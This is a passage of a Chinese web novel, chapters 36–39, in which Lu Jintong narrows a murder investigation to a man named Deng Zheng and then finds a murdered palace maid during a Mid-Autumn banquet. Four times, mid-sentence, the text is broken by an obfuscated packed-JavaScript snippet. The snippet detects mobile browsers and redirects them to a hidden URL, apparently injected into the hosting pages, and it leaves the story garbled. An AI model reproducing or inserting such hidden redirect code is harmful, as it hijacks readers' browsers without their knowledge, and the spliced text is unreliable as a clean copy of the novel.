知道情况多些的就给路锦瞳讲邓徵的家世,邓徵经常到他们的店里吃饭,偶尔也会帮忙收拾桌椅搬搬东西,自然会时常聊天,邓徵有透露过自己的家乡,在很远的边疆一带,父亲在母亲怀上他后不久就去参军,然后死在了战场上,母亲得知这个消息时动了胎气导致早产,所以邓徵的身体不好,加上她母亲常年劳作落下病根,生产时一并传给了他。 他们母子万般艰难活了许多年,后来母亲在他十三岁那年去世,他便离开家乡,四处游历,想着找个合适的地方落脚,是否能有什么旁的方法能治治身上的病,这才来到沼水村先做教书先生,等攒够了钱,又来到京城定居,四处求医问药。 “那是个懂事的好孩子,可惜天意弄人啊,年纪轻轻一身病,他说想活下去,所以无论如何都不会放过任何一个能救自己命的机会,”那老人叹息一声,递给路锦瞳一个包子,“那个时候我们都乐意帮他问问谁家有没有什么方子,又能治什么病。一晃就是五年过去,也不知道那孩子找到治病的办法了没有。” 路锦瞳接过啃了一口,发现这居然是在小乞丐那里吃的那个,眼睛一亮,探头出去记住了店名,她向老人家道谢,心中的怀疑却更甚。 回大理寺的路上,路锦瞳还遇到了几个早上开会时见到的人,他们见到容筝上来见礼,然后总结了一下今天在城中问到的信息,最后的结果依然是邓徵。 去另外三个地方的恐怕要下午才能回来,路途较远的大概要晚上了。他们结伴回了大理寺,路锦瞳收了他们上午问询时拿着的那张纸,又把京城剩下的分配下去,让下午继续调查,余景就已经将午饭给他们打回来了。 “现在基本上能确定,邓徵是嫌疑最大的人,至少在沼水村和京城之间这一项,他占的很全。”路锦瞳道,“再加上他的人缘,您没有发现他人缘简直好的夸张么?人总有犯错的时候,再怎么样也不可能一个差评都没有啊,甚至一个缺点都没有,世界上真的有这么完美的人么?” 她把餐盘扒拉到自己这边:“两种可能,一,他就是这么完美;二,他是装的。” “你的意思是,他极有可能是为了掩盖自己真正的性格,不让人根据杀人案怀疑到他的头上,才故意装成这样?”容筝问。 “不错,”路锦瞳道,“如果他没有这么好,那人们说话的方式或许又会有所不同,比如说‘那孩子人特别不错,身体不太好,但很讨孩子们的喜欢’,到这里就结束了,也许也会说他不会做这样的事,可语气就会完全不同了,只是随口一说,不会一而再再而三的为他解释。而我们去问的时候,为他解释的人都说得很笃定,像是十分了解他一样。” “像”是十分了解,又不是真的了解,谁能知道邓徵是不是故意让人了解他的这一面呢? 容筝点头:“等到晚上,他们都回来之后,差不多就可以确定嫌疑人了。” *** 去沼土村和沼水村的两拨人都是在半下午回来的,他们饭都没顾得上吃,刚回来就急急忙忙的来汇报。 “殿下,我们去的是沼水村,据那里的村民所说,符合条件的只有一个名叫邓徵的人,属下也曾听说过,还有过几面之缘,那人确实和我们要找的人有九分相似。除此之外,沼水村中再没有符合的人了。”一个衙役道。 另一个衙役也拱手道:“殿下,我们去的是沼土村,村中并没有符合条件的人,身体较弱的大多都是女子。” “知道了,各位辛苦。”容筝颔首,“将东西放下,都去休息吧。” 衙役们排着队将填满的表格放到桌上,路锦瞳一张一张的看过去,没有看到有什么可疑的人,她将那沓纸全部放起来,收进卷宗里,递给容筝:“殿下可以留着,这也算是这四个地方的户籍了,往后如果还想查什么,这些应该都是可以帮上忙的。” 容筝接过:“那就多谢了。” “殿下客气,都是大伙努力出的结果。”路锦瞳和他互相恭维。 一直到吃了晚饭路锦瞳都没走,去金陵的人还未回来,她还要听那些人汇报,并且再组织一场会,不单要总结,还要确定一下下一步的追查方式。 晚饭吃到一半时,剩下的那队人马都回来了,他们都摇头:“金陵本也是一座大城,能在当地做生意的都不愿往外跑,就别说是沼水村和京城了,符合条件的基本没有。倒是有一家客栈的老板记起来,五年前曾有一个姓邓的来住过他家的客栈。让他记得这么清楚的原因是那位客人不吃他们客栈送的饭,反而自己买些食材征求了一个小厨房自己做,自己做便也罢了,还不许旁人在场,总是错着吃饭点才去做东西,他觉得那人有点怪,今日一问就一下子想起来了。” 他挠了挠头:“他这么一说属下倒是觉得有些耳熟,这不就是邓先生嘛,属下以前和他往来还挺深的。殿下不会是邓先生吧,瞧着他不像这种人啊。” 这样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178294|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话容筝今天不知道听了多少次,在四拨人查完回来后结论都是邓徵一人时,答案就已经显而易见了。他轻声道:“做捕快,不能只凭眼睛看,要细查之后再做决定。” 衙役被他说了,脸有些发红:“殿下教训的是,只是我们这里不少人都与他打过交道,时间还不短,也算是了解他的为人,将他列为嫌疑人是不是有点站不住脚?……或者说有没有可能路小姐分析错了?她毕竟也没有办案经验……” 路锦瞳顿悟,哦,原来是嫌她不够专业啊。 容筝道:“交给你的任务,就好好去查,不要凭自己的主观来分析。思路可以是有很多条的,查案就是要把每条思路都查清楚,这样才能不忽略案情。” 他虽没有明说,言语间却是在维护路锦瞳,衙役应了声“是”便退下了。容筝回头看了路锦瞳一眼,见她低着头扒饭,便安慰道:“不要理会他们,他们说得不一定对。” “没事啊,我没有把他们的话放在心上,他们质疑是对的,”路锦瞳道,“说明他们也认真思考了。” 她真的不觉得有什么好生气的,对于他们来说心里不舒服是应该的,勤勤恳恳干了这么多年,突然有一个半路出家的人站到了他们的头上,甚至还是个女人,能高兴就怪了,当然要发表一下自己的意见了。 可他们还是去金陵认真查探过了,这就说明对待工作还是认真的,心里不爽也没有因此消极怠工。她对认真的人是可以有耐心的,所以并不会计较他们说什么。 容筝派了余景过去,将今日查案的人都召集起来开会。他道:“明日给你们放一天假,休整一下。之后每人负责去一个城或县,以及村庄,询问当地有没有和此案相似的案件,将卷宗誊抄一份带回来,并打听,镇上是否有新来客,将今日你们所查的体貌特征问询清楚,特别是邓姓的。 “邓徵极有可能改了名字,或是造了假的官籍,既然你们与他熟悉,那一定不会忘记他的模样,五年之间容貌也不会有很大的变化,所有见过他的人分别去一个地方,势必要找到他的藏身之处。” 这话是断定邓徵就是凶手了,路锦瞳看到晚间那个为邓徵说话的人脸色不太好,心下也无奈。无论是与不是,都要去查个明白,只有结果才能人那些相信他的人信服。 容筝将每个人去哪个地方,以及需要探问什么都交代了一遍,并且要他们顺便从各地带回长年未破的悬案卷宗,这才放他们离开。 “无论发生什么,都不要打草惊蛇,更不要联合当地官府去随意抓人,”他最后叮嘱,“若是发现了他的踪迹,就立刻飞鸽传书回来报给本宫,你们自己不要回来,留在当地继续监督,千万不要被他发现,等本宫亲自过去。” “如果被发现了,那就强行将他抓起来,无论他是与不是,宁可抓错,不能放过。” 37. 第 37 章 京城里但凡是见过邓徵的衙役都被广撒网的派出去了,要不是马上就要中秋,皇上还让路锦瞳进宫参加宴会,她还真想跟着一起去,虽然没有见过邓徵,可她的眼睛也不是盖的,基本根据人的描述以及自己的推想就能一眼将他认出了。 与其焦灼的等消息,还不如亲自去查,这样也不会做什么。但她清楚这次范围大,随机去一个地方的话,根本就不一定能遇到邓徵,而且她也不是柯南体质,不会走哪儿哪儿犯案,约莫只能算是去旅个游了。 她就这么在府上待着,上午跟着慕柏练功,午睡之后拿了书认真学习,她要早日光明正大的办上案子,免得遇上什么事被人说不够格管,查案没有经验。 她是不生气,可还记仇呢,就让这些都变成驱使她前进的动力吧! 就这么过了几日,一天早晨,路锦瞳练功练一半,陆绾突然叫她去沐浴后然后回屋,她满头雾水的被竹月按到水里,回到房间见有丫鬟手中端着托盘,里面放着藕色的衣裙,她才想起来。哦,是前些日子让做的衣服好了。 “小锦快来,试试如何。”陆绾向她招手,“时间太紧张了,今夜你就要进宫赴宴,赶紧试完如果哪里不合身叫绣娘加快改一下。” 路锦瞳乖乖过去,来这里这么长时间了,她已经会自己熟练穿古代的衣裳,都用不着竹月帮忙。加上习惯问题,她已经很少让竹月帮忙穿衣,她还是没法接受被别人伺候着的感觉,觉得不好意思。 她将衣带系好,随后从屏风后出来,陆绾便从桌边起身,上来给她抚平衣角,随后点头:“不错,好看,正正好好。” 原身很白,再加上出门时常要戴帷帽的缘故,太阳也不怎么能晒得着,即便是路锦瞳这几日在外面跑来跑去也没怎么变黑。 人白了果真是漂亮的,不像她在前世的时候,因为工作原因,经常要风吹日晒的,就别说偶尔加加班了,这个人脸色暗沉发黑,同事们经常会逗她如果晚上走在街上都没人能瞅见她,气得路锦瞳接连下单几盒美白面膜。 午睡起来后,竹月就将她按在梳妆镜前认真编起繁复的发髻,中秋宴开始之前,贵女们都会先行去后花园聚聚,这是太后娘娘的习惯,在原身的记忆中,太后娘娘似乎是个和善的人,但也只是听说,她都没机会进宫去,全是从其他人口中听来的。 还是没什么有用的消息。路锦瞳叹气。 她来的时间不长,来了也没有和人斗过,顶多之前在茶舍的时候和林清如杠过几句,也就几句了,虽还没有发挥出全部实力,但她实力再强,也不能在宫中发挥啊,今晚贵人多的数不胜数,要是捅了篓子,她可真不知道陆绾会不会让她明白花儿为什么那样红。 宫中礼仪规矩她也是一头雾水,丸辣,等着出糗吧。路锦瞳失去了梦想。 竹月似乎是察觉到了她的担忧,她抚抚路锦瞳的肩膀:“小姐莫怕,奴婢跟着您。” 对哦,路锦瞳坐直身子,突然又活了,她吊儿郎当,可竹月够稳重啊,礼仪也很完美,她让做什么她就跟着,总不会做尴尬的事,她不会装乖是没错,可假装成透明人是没问题的。 竹月给她编了个特别好看的发髻,她不知道这叫啥,反正非常好看,还坠了步摇,路锦瞳顿时觉得头上重了不少,也有些负担,生怕幅度太大把步摇给整掉了,梗着脖子出门坐马车,没过一会儿的时间便觉得脖子酸痛。 “没事的小姐,奴婢发髻挽的紧,斜插进去不容易掉。”竹月安慰她。 路锦瞳顿时放松。 此去是皇家宴会,女子众多,还有皇上以及各路嫔妃,纵使路锦瞳知道慕柏是女子,也是不能跟上的,除非让她穿上姑娘家的衣裳扮作她的丫鬟,可这样一来竹月就去不得了,路锦瞳还是果断地抛弃了慕柏,竹月知道宫中的一些规矩,还情商高能帮她解围,慕柏去干啥,去用眼神杀死她们么? 这是给她拉仇恨呢吧? 光进宫马车就要走上将近一个时辰,而且到了宫门口,马车就不能再进了,剩下的路程要她们自己腿着过去。轿子能在宫中自由穿行,这是嫔妃和皇帝才有的权力,连皇子王爷都不行。 路锦瞳出门前随手捏了一本话本,专门在路上打发时间,此时正看得津津有味,她生怕竹月无聊,还让她坐到另一半去,书摊在中间两个人一起看。 竹月刚开始还要推拒,被路锦瞳的眼神严厉制止了,这本书有意思归有意思,但槽点太多,路锦瞳一般看到令人无语的地方就会絮絮叨叨,可她来了这么长时间还没有个好朋友,陆绾每日又有那么多事情要忙,没时间看,慕柏则是个十足的武痴,每日除了练武就是练武,脑袋里放不下再多的东西。一圈看下来,能拉的入伙的只有竹月了。 最后两人将书放在桌上一起看,路锦瞳看书一向很快,但因为这是古代文字,虽认清楚了,但认知中一下子还改不回来,看得略有些慢,竹月瞧完一页得稍微等上一等,到了后面,速度逐渐就快起来了。 路锦瞳被里面没长嘴的男主气得鼻子差点歪了,大声和竹月吐槽,竹月被她那些词汇逗得发笑,最后笑够了,只道:“小姐说得对。” 将一本书看完,路锦瞳气得往旁边一撂:“这写的什么?男的不爱女的就算了女的还一心一意为了男的最后还因为他娶了别人郁郁而终了她是疯了吗?” 她一口气说完,深深喘了口气,随后恨铁不成钢道:“傻女人!这个世界上重要的事情那么多,哪个不比男人重要?!她自身那么多才多艺,干点什么不好?非因为这个事emo就算了还死了?男人再好能强过自己的命吗?” 竹月赶忙安慰她:“小姐莫生气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15194702|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,为这么一个故事生气不值得,只是故事罢了。” 怎么可能会只是故事呢,这个时代发生的同样的事情还少么?哪个女人不是早死就是被困于后宅,与曾经的自己相去甚远,将大好的青春在一个男人身上蹉跎,最后还要被嫌弃不够懂事云云。 问题是有些姑娘能意识到,只是为了保住家族的颜面才不得不忍,还有些根本就沉浸在恋爱脑中无法自拔,次次被负,次次原谅,真是令人惋惜。 路锦瞳看了一路气了一路,发誓之后再也不要看这种没意义的故事了。也就在这里,宫门到了。 这里早就停了好几辆马车,车身外悬挂着各家的牌子,竹月给她戴好帷帽,搀着路锦瞳下马车,她甫一下车,立刻收到了许多人投来的目光。路锦瞳借着帷纱丝丝缕缕的缝隙看过去,都是原身记忆中熟悉的脸,无论是公子还是贵女,脸上先是疑惑,后是嫌疑,眼中皆是嘲弄。 路锦瞳倒是没什么所谓,她是第一次来,原本该跟着那些人一起进去,却不想皇上那么有心,居然特意派了宫女出来接她,那宫女上前来行礼道:“路姑娘,陛下命奴婢在此等候,带您去后花园。” 路锦瞳受宠若惊:“多谢陛下隆恩,也多谢姑娘。” 实在是不好意思,她不会说官话,应该没说错什么吧?路锦瞳小心翼翼的看宫女的脸色。 也不知道是不是做宫女的一般都表情管理满分,路锦瞳没在她的脸上看到任何东西,也不知道自己到底说错了没,斜眼瞥瞥竹月,她也没什么表情,真叫人心里没底。 她没管周围投来的视线,跟上宫女准备去后花园,后头却突然传来一个声音:“路姑娘,一起进去吧。” 路锦瞳诧异回头,便见一位穿着淡红衣裳的姑娘向她过来,竹月尤记得路锦瞳落水之后脑子一直不太行,时常不太能记得起谁是谁,连忙悄声提醒:“这是楚知微姑娘。” 谁?楚知微?路锦瞳怀疑自己耳朵出问题了。 她当然知道楚知微是什么人,这可是京城第一美女兼京城第一才女,不光长得好看,琴棋书画样样精通,家世又好,不知道多少贵女想与她攀关系,仿佛和她关系好倍儿有面儿似的。但她性子虽好,与人相处时却总像是隔了一层纱,看似和善好相处,内心却拒人于千里之外,原身原先还嫌弃她会装,总是摆出一副冰清玉洁的模样来,也不知道给谁看呢。 但就是这样的人物,现在居然主动来叫她一起走,是主动诶,还在这么多人的面前。路锦瞳明白自己现在有多不招人待见,本来这个时代女子就应该好好的在家绣花,等着订个婚约嫁过去一辈子待在后宅里算完,可她却不这么做,不光当街抓小偷,还跑去大理寺办案,这在前世不算什么,在这个朝代却件件都是能把人眼珠子惊掉的事情,也难怪大家见了她都退避三舍。 38. 第 38 章 可楚知微这是在做什么呢?给她撑场子长脸么?为什么呢?难不成她家出了什么人命,需要她来帮忙破案?那也不应该啊,人家可是吏部尚书的嫡女,用得着她么?真出了什么案子求到沈知安头上去,那不必找她这么个在外人眼中的“半吊子”来的踏实? 路锦瞳在这边头脑风暴,楚知微半晌没得到回答也不恼,等了片刻后又问一遍:“路姑娘,一起进去么?” 竹月连忙轻拍路锦瞳的小臂,她回过神来:“当然可以,楚小姐请。” 楚知微上前几步和她并肩而行,原本路锦瞳还担忧她该不会是动了什么歪心思想要害她,转念一想,在原身的记忆里她可是从不屑于参与那些斗争的,所以和旁的贵女也有些格格不入。再说了,如果她真的要害路锦瞳,干脆就让带路的宫女回去了,然后随便带她去哪个犄角旮旯实行坏事,反正路锦瞳路痴,走错了也不知道。 是她小人之心度君子之腹了。路锦瞳和她走了一段,两人彼此之间都没有话,这气氛实在是尴尬的很,她抓耳挠腮了半天,也没想出一句寒暄的话来,倒是楚知微先开口了:“在大理寺办案有意思么?” 路锦瞳没想到她是在问这个,不禁一怔,随后连忙点头:“还好吧,就是有点费脑子,有的时候也会被气到。” “为什么生气?”楚知微侧看过来,清泠的眸子透过帷纱瞧过来,路锦瞳不禁挺直了背,以免仪态太差:“小姐应该知道宋云知的案子,她明明都已经是丞相千金了,破案还如此繁杂,甚至凶手还想要将罪责推干净。若是平民百姓,恐怕也就那么草草结案了,所以每每想到凶手因为权势够大就在后面暗箱操作,我就觉得不忿。” “原来如此。”楚知微轻轻点头,“世道如此,并不是你的错,尽心尽力了便好。” 咦,这是在安慰她?路锦瞳连忙接下这份安抚,她道:“多谢楚小姐。” “对了,你的父母对此有何看法,赞同你和大理寺一同办案么?”楚知微又问,“我听说,五年前的那个案子最近又在查了,父亲说,四殿下带了你一起。” 路锦瞳道:“我爹娘同意啊,他们挺支持的,觉得我能找到喜欢做的事情很不容易,既然决定要做下去,当然是支持了。” 楚知微一怔,垂头说了句什么,路锦瞳没有听清:“楚小姐,你说什么?” “没什么,”楚知微摇头,她道,“不必这么客气,你比我大上几个月,我叫你姐姐,你叫我知微便好。” 尊嘟假嘟?路锦瞳眼睛一亮,这么好看的姑娘叫她姐姐么?她要被吊成翘嘴了,这要是后面那些贵女们听见了该多羡慕啊,她都能想象到她们听到之后的表情了,一定是不甘和嫉妒集结,将路锦瞳视为眼中钉,心想你何德何能?! 这不就是众多人一起追求校花,可校花谁也瞧不上,偏偏瞧上了从村里来的穷小子么? 也太爽文了! 不过她就喜欢这种笑容从别人脸上转移到自己脸上的事情,路锦瞳扬起笑脸:“好,知微。” 她不是没脑子,如果楚知微真的要害她,那她不可能感觉不出来,大不了多防备着些就好了,场面话总不能不说。 她和楚知微一起到了后花园,宫女将人送到就告退了。现在时辰尚早,太后娘娘还未到,楚知微便引着她去亭子里坐了,立刻就有在亭子中伺候的宫女上前来为她们倒茶呈上来糕点,糕点做得很好看,一眼瞧上去让人特别有食欲,路锦瞳忍了又忍,还是没忍住自己这张嘴,伸手摸了一个来吃。 后花园已经被太后娘娘征订要和贵女们一同观赏了,男人自然不会进来,进来这里的女眷也就都放心的摘下了帷帽。路锦瞳被楚知微的美貌晃了眼,险些留下哈喇子来。 “你吃吗?”路锦瞳连忙对没人献殷勤。 楚知微颔首,也摸起一块糕点,她嗯了一声:“好吃。” 陆陆续续大家都进来了,太后娘娘是在差不多半个小时后来的,楚知微连忙带着她迎出去。 “姐姐第一次入宫,不要乱跑,跟在我身后。”她这么嘱咐。 路锦瞳答应着,和她一同出去向太后娘娘行礼。 太后娘娘面目慈祥,没叫她们下跪行礼,贵女们都是微微屈膝,双手交叠在右侧胯骨,路锦瞳学得像模像样。太后娘娘在上方道:“都随意吧,今年的花儿开得极好。” 话毕,她又道:“路家姑娘可来了?” 路锦瞳连忙举手,举起来又想起不对,赶紧放下,若无其事的扬声道:“娘娘,小女在此。” 可已经有不少人看到了她的动作,纷纷掩唇轻笑,太后眼中也带了笑意,她道:“你上前来,其他人先散了吧。” 路锦瞳下意识看向楚知微,她轻声道:“你去吧,我还是在亭中等你。” 路锦瞳向她一笑,待人慢慢都走干净了才缓步到太后面前,再次认真的行了个礼:“小女见过太后娘娘。” “好孩子,起来吧。”太后笑道,“来,靠近些,叫哀家看看。” 路锦瞳依言乖乖靠过去,太后细细瞧了她半晌,给她都看不好意思了。太后点头道:“果然是个好孩子,哀家都听阿筝说过了,他说你是个极其聪慧的女子,连他都自愧不如。” “殿下谬赞了,小女其实,也是歪打正着,”路锦瞳腼腆地笑,“多亏了衙役们四处跑着查案,还有殿下到处走动,小女做的实在算不上什么。” 太后却是摇头:“阿筝都说了,你不畏惧朱家势大,坚决要将真相公之于众,若非是你,换作其他的人,恐怕也不敢与他们对上,这样的精神值得夸赞。更何况……宋丫头是个好孩子,她是哀家看着长大的,一下子没了,还没得不明不白,若非是你,恐怕还没这么容易查得出来,哀家也要谢谢你。” 蓦地被扣了这么大一顶帽子,路锦瞳惶然:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15205957|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多谢娘娘夸赞,只是案子能告破大家都有功劳,并不只小女一个人的。” 太后闻言只是笑,她侧首:“心月,去将东西拿来。” 跟在太后身旁的嬷嬷连忙应声,随后从一个宫女托着的托盘中取出东西来:“娘娘。” 太后笑道:“拿着吧,这是哀家赏赐你的。” 路锦瞳一怔,随即诚惶诚恐的收下了:“多谢娘娘。” 她总不能推辞吧,这是贵人赏赐的东西,可不是朋友送东西,哪能轻易推辞,万一因为她不收太后不高兴怎么办,说不定还会被曲解成嫌弃礼物不好呢,为免另生事端,她接着就好了,皇家赏了东西那可是殊荣,也是对她查案的肯定。 看来容筝并没有把案件未结束的事情告诉任何人,没办法,免得叫有心人听到,万一不小心落入凶手的耳中,那他们都要倒霉,案子也不能继续查下去了。 太后看出她的拘谨,便也不再拉着她说话,让她出去和其他贵女一起玩,路锦瞳临走前她又嘱咐一句:“不必理会她们,洗脱以往名声总是很难的,你说是不是?” 路锦瞳一惊,对上太后仿佛看透一切的眼神,连忙垂眼,避免和她对视,低声应了声是。 “去吧。”太后没再多为难,干脆利落的放她走了。 竹月搀着路锦瞳快步出去,她记得楚知微说要在亭子那里等她,便一路向着那边奔去,果真见楚知微正坐在其中饮茶,她扬起笑脸,几步跑进亭子:“知微,我回来了。” “姐姐。”楚知微起身,向她微微笑了一下。 她们两个聊的不多,路锦瞳主要是和她了解一些京中情况,主要是谁家千金脾性如何,她这也算是为路锦瞳上课,毕竟一场宴会下来她总不能只和楚知微在一起,谁好惹谁不好惹总要摸清楚,以免给路家树敌。 她们在这头聊着,突然闻到空气中传来潮湿的气味,同时飘来的还有丝丝凉意,路锦瞳回头一看,见外头不知何时下起了雨,不过不大,只有浅浅的一层。 随后她就看到贵女们正快步朝着这边过来,恐怕是要避一避。 这座亭子大,又离她们那个方向近,下雨了第一时间当然是过来这里。路锦瞳不想和她们对上,便搬了凳子往过挪挪,和楚知微挨得近了些。 谈话声渐高,贵女们成群结队的进来,纷纷用手帕擦拭衣上的雨水,一个耳熟的声音传来:“这雨下的也太不及时,我刚做的新衣。” 路锦瞳细细一想,才发觉这人是林清如,之前在茶楼堵她说教她的那个。切,谁不是新做的衣服呢,路锦瞳别过头去,免得和她对上眼,她可不想在这么多人的情况下还和林清如斗嘴,岂不是平白叫人看了笑话。 可她躲麻烦,麻烦却主动来找她。林清如瞧见楚知微便上前要来打招呼,只目光轻轻一瞥,就瞧见在一旁看天看地的路锦瞳,笑了一声:“快看这是谁啊,这不是大英雄么?” 39. 第 39 章 她嗓门还挺大,一下子把所有人的目光都吸引了过来,林清如道:“破了宋云知的案子,你可算是声名大噪了,不过,可不止这个,其他的名头,也很响亮呢!” 路锦瞳真是服了,就知道拿她在大理寺这种男人云集的地方待了好久说事,就知道拿她在大街上抓小偷说事,抓小偷怎么可能不用手拉人?难不成她还会隔空取物? 她不耐烦道:“你说一次就行了,不用说那么多遍吧?我已经忍你很久了,你再这样别怪我翻脸了啊,我以前战斗力有多强你不是不知道,要是想试试尽管说,我听着呢。” 原身从前嘴笨,不太会和人争辩不假,可她能打且抗揍啊,一个从小就上蹿下跳的人,怎么可能不能挨揍?再加上她最近这段时间练的功夫,正好沙包打够了想打个人练练手呢! 她气势凌人,林清如被她吓得微微后退一步,今日可是中秋宴会,她才不想和路锦瞳打起来呢,到时候万一抓乱了头发弄皱了衣服,宴会开始岂不是要被人笑死?路锦瞳脸皮厚不怕丢人,她可怕呢。这么想着,林清如哼了一声:“我才懒得理你!” 说罢就转过了头。 切,路锦瞳翻了个白眼,算上来了这边的几个月,她两世活了马上三十岁了,比这小丫头片子大的翻了个倍,还能瞧不出她那点技俩,那她真是白见那么多人,白活这么久了。 她们没能在亭子里等太久,宫女们很快撑了伞出来接着,深秋已然寒冷彻骨,这些姑娘们从小娇生惯养的,若是今日淋了小雨又在外头吹风,染上风寒可就是宫女伺候不力的错处了。领头的宫女快走几步,福身道:“各位姑娘,太后娘娘发话,叫奴婢们请各位去偏殿稍歇片刻,避避风雨。” 这么说完,她们便一个一个的为贵女们撑了伞,分别将她们运回屋去,路锦瞳和楚知微靠后一些,最后才进了殿中。 宫女在后面掩上了门,要去给她们搬凳子坐着,路锦瞳无聊的在原地等,一边小心拎了裙摆,今日的裙子有点长,她总是怕踩到摔着丢人,一直都很小心。 一般刻意避着什么,就会有什么发生,她没注意脚后跟踩到了裙摆,另一条腿也蹭了一下,一时失了平衡,好在路锦瞳反应够快,飞快挪开了一只,交叉着往地上一踩站住了,却不小心撞到一个人。 “对不起对不起,我不是故意的。”路锦瞳这么说着,一边诚恳道歉,她抬起头,一怔,好嘛,冤家路窄,撞到林清如了。 林清如自然不会放过踩她的机会:“你眼睛长头顶上啊,这么大的地方非要过来撞我一下,你是不是嫌我方才说你说得不好听报复我呢?我又没有说错!” 要平常这个时候路锦瞳早就怼回去了,根本不给她嚣张的机会,此时她却盯着林清如呆住了。林清如被她的眼神看得发毛,不禁缩了缩身子:“你看什么看?” 这么说着,她顺着路锦瞳的视线往自己肩膀上看过去,不看还好,一看吓一跳,她的肩上居然有一滩鲜红,在林清如愣神的时刻,她又瞧见一滴红色从上面滴落下来,如同外头下着的雨。 林清如手脚发凉,她几乎是没有任何思考的抬起头,循着鲜红滴落的方向看去。 横梁上趴伏着一个宫女,她脸色发白,眼睛却瞪得老大,仿佛要将瞳仁瞪得掉出来,她双臂挂在横梁外头,有鲜血顺着她的指尖滴落,然后再落到林清如的肩膀上。 她短暂的沉默了半晌,随即发出一声尖叫,离她最近的路锦瞳耳膜险些被喊穿。 路锦瞳也看到了尸体,她脑子里蹦出的第一个想法居然是:好家伙,原来我真的是柯南附体啊。 随着林清如这一声尖叫,在一边说笑的贵女们都被吸引了过来,她们自然也瞧见了横梁上挂着的女尸,顿时都退离好几丈,还有的被吓得在后退时踩到了自己的裙子,没站稳,摔了个屁股墩儿。 林清如吓得双手都不知道该往哪里摆,她哭出声来,面上难掩的害怕:“我……我该怎么办啊呜呜呜呜呜呜呜。” “呜呜呜什么啊呜呜呜,”路锦瞳无语了,她拽着林清如的手腕把她拖到自己身边来,“还不赶紧起开等什么呢?你脚底粘胶水了?” 林清如哭得茫然,完全没有了刚才的盛气凌人。 路锦瞳头疼的又把她拉远了些,她向林清如的丫鬟招招手:“快过来,扶着你家主子。”随后她又道:“各位,不要乱动,最好就现在的位置不要再挪动地方了,以免破坏现场,更不要。” 这么说着,她弯腰把鞋脱掉,穿着袜子踩在地上,这相当于是穿了鞋套了,以免在地上留下什么痕迹,而导致判案产生误差。她弯腰把裙子提了一下,然后绑了个结,以免在地上拖来拖去,把一些脚印拖得模糊不清。 她走到女尸下面,伸手接了一滴血捻了捻,还是热的,看来刚死不久啊,她摆手招呼一个宫女:“麻烦,给我搬来个凳子,还有人能帮个忙么?帮我一起把这姑娘抬下来。” 宫女们面面相觑,最后还是不敢违逆她的意思,一个小跑着去搬凳子,另一个则走过来打算帮忙,她们都学着路锦瞳的样子脱了鞋子,宫女的衣摆不拖地,便不用担心蹭到什么,自然也不必将裙摆打结。 宫女搬来两个凳子,竹月便也上前来,扶着路锦瞳踩上去,又扶稳凳子,几个人互相搭把手,好不容易才将死沉死沉的尸体从上面搬了下来。 尸体倒在地上,胸口大片的伤口便显露出来,血腥气更大,在场人纷纷捂住了鼻子。路锦瞳指尖捏起衣角瞧了瞧,梁上有灰,还挺多的,尸体腰部衣物上沾了不少。致命伤在心口处,是一把短匕,刺得分毫不差,一击毙命。 门边传来一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229264|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身响,有宫女进来,向她们行礼:“各位姑娘,奴婢已经将此处发生的凶案报告给娘娘了,娘娘请各位姑娘移步主殿,这里的事自然有宫人来查清楚,姑娘们请。” “哪用得着宫人,这不是有现成的么?”一个尖脸姑娘说,她看向路锦瞳的方向,“路姑娘不是前些日子刚破了案子么,听说大理寺卿沈知安大人极为赏识呢,既然如此,那这么简单的宫女之死,路姑娘想必也查得出来,哪还用得着麻烦宫人?” 路锦瞳想翻白眼,走了个林清如,又来一个是吧,这些人怎么这么执着于折腾她呢? 仔细一想,好像原身从前嘴上没饶过她们,碰见一个杠一个,打遍无敌手,算了,她占了人家的身体,接受这些也是应该的,但她可不是那种甘愿受委屈的。路锦瞳呵呵道:“你是我谁啊,你让我来我就来,凭什么听你的?” 